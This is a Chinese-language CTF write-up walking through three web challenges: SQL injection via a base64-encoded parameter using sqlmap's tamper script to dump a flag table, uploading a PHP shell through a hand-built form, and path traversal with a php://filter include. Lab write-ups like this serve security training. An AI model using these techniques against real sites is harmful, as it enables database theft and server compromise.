CTF考核writeup（1）

原创

离离原上草_# 于 2016-11-23 14:50:38 发布 3936 收藏

分类专栏： 安全 文章标签： sql注入 文件上传 文件包含

在sql注入、文件上传和文件包含问题上，可以学到一些新思路。

sql注入

观察题目链接，很明显，存在注入的是id。于是利用sqlmap验证，但sqlmap的结果却是“not injectble”：

注意到链接中id值是‘MQ==’。明显参数是经过base64编码的，解码后值为‘1’。

sqlmap中内置了base64编码脚本：

> sqlmap -u “http://xxx/index.php?id=1” - -tamper base64encode.py - -current-db

发现确实是存在注入的。

接下来用sqlmap，按套路猜解，即可在flag表中找到flag。

```
选择一个数据库猜表
sqlmap.py -u "--" -D demo --tables
选择一个表猜列
sqlmap.py -u "--" -D demo -T flag --columns
根据列猜数据
sqlmap.py -u "--" -D demo -T flag -C value --dump
```

关键在于参数被base64编码。tamper目录中各种脚本还是很多的。

文件上传

查看题目，没有找到上传点。

扫了一下目录，发现/upload，看这目录名，一会儿上传的话应该是要传到这个目录下的。

首先想到是不是可以用PUT+COPY，尝试后发现被禁了。

```
OPTIONS / HTTP/1.1
User-Agent: xxxx
Host: xxxx
Accept: */*
```

```
PUT /test.txt HTTP/1.1
User-Agent: xxxx
Host: xxxx
Accept: */*
```

既然没有上传点，于是自行构造一个form表单。将action指向upload.php。这里还得要猜对name的值为file。再尝试从本地表单上传jpg文件，提交成功，表明此处确实有上传功能。这时会发现一个问题，不知道文件被传到哪儿了。所以在表单中添加一个隐藏域，将“dir”指定为“/upload/”。

```
<form action="http://--/upload.php" method="post" enctype= "multipart/form-data">
  <input type="file" name="file" /></p>
  <input type="hidden" name="dir" value="/upload/">
  <input type="submit"/>
</form>
```

再次上传jpg文件，成功上传到/upload目录下。接下来开始考虑上传phpshell。

尝试00截断，失败。后来发现内容为空的时候直接上传php文件竟然成功了。

访问，即可回显flag。

文件包含

首先尝试能否读上级目录，发现./被过滤为malicious parameter，而/../没有被过滤，所以检测的只是开头有没有.。

这种情况下，利用php伪协议filter，成功包含文件，读取flag。

> php://filter/resource=../flag